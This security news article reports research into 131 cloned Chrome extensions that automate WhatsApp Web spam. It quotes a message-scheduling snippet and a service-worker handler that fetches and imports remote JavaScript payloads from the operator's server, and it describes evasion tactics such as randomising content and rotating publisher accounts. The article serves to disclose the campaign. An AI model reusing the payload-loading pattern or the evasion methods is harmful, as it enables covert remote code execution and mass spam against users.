131 Malicious Extensions Targeting WhatsApp Used Found in Chrome Web Store

Recent analyses by cybersecurity researchers have identified a significant increase in fraudulent Chrome extensions that mimic legitimate WhatsApp Web automation tools. A total of 131 extensions have been rebranded but share an identical codebase aimed at automating bulk messaging and scheduling without user consent.

These extensions inject custom scripts directly into the WhatsApp Web interface, thereby bypassing native rate limits and anti-spam measures. Features such as message templates, scheduling controls, and analytics dashboards are marketed, particularly targeting small businesses in Brazil that rely on WhatsApp for customer outreach.

Utilizing Chrome’s Manifest V3 service worker capabilities, these extensions perform background tasks to schedule bulk sends without explicit user interaction.

According to Socket.dev analysts, the core module uses a code snippet that interacts with the page’s DOM and invokes WhatsApp’s internal APIs:

document.addEventListener('DOMContentLoaded', () => { const msgHelper = window.WPP.helpers.sendMessage; scheduledMessages.forEach(({contact, text, time}) => { setTimeout(() => msgHelper(contact, text), time); }); });

Socket.dev researchers identified that the extensions’ service worker fetches a remote configuration file from the operator’s infrastructure, allowing for dynamic updates to message patterns and throttling parameters to avoid detection.

Despite Chrome Web Store policies that prohibit duplicate experiences and unauthorized messaging, all 131 extensions were still live as of mid-October 2025. These extensions are marketed with claims of privacy compliance and code audits, which contradict platform guidelines.

The distribution model resembles a franchise, where partners pay an upfront fee to license the tool, receive a custom branding package, and manage subscription plans while the original operator retains backend control.

The campaign employs sophisticated evasion strategies, including tuning send intervals, randomizing message content, and rotating publisher accounts to maintain continuous operations despite takedown requests.

A persistence tactic involves polling the operator’s server for updated JavaScript payloads at regular intervals:

self.addEventListener('periodicsync', event => { event.waitUntil( fetch(configUrl) .then(response => response.json()) .then(cfg => importScripts(cfg.payloadUrl)) ); });

This periodic sync ensures that even if Chrome flags a particular payload, the extension can reload an unflagged version from the remote server. By using varied naming conventions and with thousands of active users, the campaign exemplifies policy abuse on a large scale, highlighting the need for enhanced extension governance and user vigilance.

Based on reporting by Cyber Security News.